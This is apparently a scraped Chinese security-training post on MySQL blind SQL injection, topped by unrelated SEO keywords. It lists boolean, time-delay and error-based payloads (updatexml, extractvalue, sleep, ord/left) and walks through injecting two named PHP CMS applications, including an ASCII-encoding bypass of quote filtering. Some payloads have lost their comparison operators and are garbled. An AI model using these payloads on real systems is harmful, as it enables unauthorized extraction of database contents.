精品网站要建设需要多少钱,网站换域名有没有影响,做购物网站那个好,英文自助建站文章目录 MYSQL-SQL操作-增删改查盲注概念盲注分类盲注语句参考更多盲注语句/函数 注入条件-数据回显错误处理PHP开发项目-注入相关条件#xff1a;基于延时#xff1a;基于布尔#xff1a;基于报错#xff1a; CMS案例-插入报错删除延时-PHPMYSQL1、x… 文章目录 MYSQL-SQL操作-增删改查盲注概念盲注分类盲注语句参考更多盲注语句/函数 注入条件-数据回显错误处理PHP开发项目-注入相关条件基于延时基于布尔基于报错 CMS案例-插入报错删除延时-PHPMYSQL1、xhcms-insert报错2、kkcms-delete延时总结 参考https://www.jianshu.com/p/bc35f8dd4f7c
MYSQL-SQL操作-增删改查
1、功能数据查询
查询SELECT * FROM news where id$id
2、功能新增用户添加新闻等
增加INSERT INTO news (字段名) VALUES (数据)
3、功能删除用户删除新闻等
删除DELETE FROM news WHERE id$id
4、功能修改用户修改文章等
修改UPDATE news SET id$id
盲注概念
盲注就是在注入过程中获取的数据不能回显至前端页面。
我们需要利用一些方法进行判断或者尝试这个过程称之为盲注。没有回显的注入
解决常规的联合查询注入不行的情况
盲注分类
我们可以知道盲注分为以下三类
1、基于布尔的SQL盲注-逻辑判断
regexp,like,ascii,left,ord,mid 需要有回显错了报错 2、基于时间的SQL盲注-延时判断
if,sleep
3、基于报错的SQL盲注-报错回显
floorupdatexmlextractvalue 一般用的较多的是延迟注入和报错注入布尔需要有回显一般网站都没有。 盲注语句
延迟
and sleep(1);
and if(12,sleep(1),0);
and if(12,sleep(1),0);
布尔
and length(database())7; 数据库长度
and left(database(),1)‘p’; database()的前一位
and left(database(),2)‘pi’; database()的前两位
and substr(database(),1,1)‘p’; database()的第一位
and substr(database(),2,1)‘i’; database()的第二位
and ord(left(database(),1))112;
报错
and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) 0x7e — 十六进制编码 ~ 为了更好的识别内容有些工具为了识别也加入 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
有些报错语句基于MySQL版本决定。有些版本不支持一些语句目前用的最多的语句
1、通过floor报错,注入语句如下:
and select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);2、通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));3、通过UpdateXml报错,注入语句如下:
and 1(updatexml(1,concat(0x3a,(select user())),1))参考更多盲注语句/函数
参考https://www.jianshu.com/p/bc35f8dd4f7c
like ro% #判断ro或ro...是否成立 regexp ^xiaodi[a-z] #匹配xiaodi及xiaodi...等if(条件,5,0) #条件成立 返回5 反之 返回0sleep(5) #SQL语句延时执行5秒mid(a,b,c) #从位置b开始截取a字符串的c位substr(a,b,c) #从位置b开始截取字符串a的c长度left(database(),1)database() #left(a,b)从左侧截取a的前b位length(database())8 #判断数据库database()名的长度ordascii ascii(x)97 #判断x的ascii码是否等于97注入条件-数据回显错误处理
PHP开发项目-注入相关条件
1、是否有输出结果
2、是否开启报错
基于延时
都不需要
and if(11,sleep(5),0)
基于布尔
有数据库输出判断标准
and length(database())6
基于报错
有数据库报错处理判断标准
and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)
测试delete注入有无回显有无报错
删除延迟1 and if(11,sleep(5),0)
删除布尔3 and length(database())6无回显 无法判断注入
删除报错4 and updatexml(1,concat(0x7e,(SELECT version),0x7e),1)
CMS案例-插入报错删除延时-PHPMYSQL
1、xhcms-insert报错
审计时发现有报错注入 找到网站中该处注入点 写入注入的报错语句 and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and 保存提交得到注入结果 注入得出MySQL版本。
2、kkcms-delete延时
审计时找到可注入点但是没有回显也没有报错只能延时注入 找到页面位置 由于该注入为延迟注入需要判断时间用burpsuite抓包进行改包注入或用postman等工具进行测试较为方便。
抓到删除的包
使用延时语句进行注入
and if(11,sleep(5),0)
or if(11,sleep(5),0)
发现并没有延时
因为php中有自动过滤单引号过滤了单引号所以注入失败将字符换位ASCII码即可绕过。
MySQL中ord()函数转换为ASCII码
**注入语句**or if(ord(left(database(),1))107,sleep(2),0) ord(left(database(),1))107该语句表示数据库名第一位的ASCII码为107即为k 结果出现延迟 总结 SQL注入-DNSlog带外显示也就是需要通过SQL语句去请求外部网站只有使用load_file()去载入外部网址内容才有可能所以需要是root用户而且将安全开关关闭才有可能实战中基本不可能遇到。没有太大价值。 实际情况中手工注入的机会不多一般都是先用工具注入如果工具注入失败再通过工具的结果情况判断是哪方面原因再结合手工注入进行对比之后再对工具进行修复对其语句进行修改再用工具进行注入。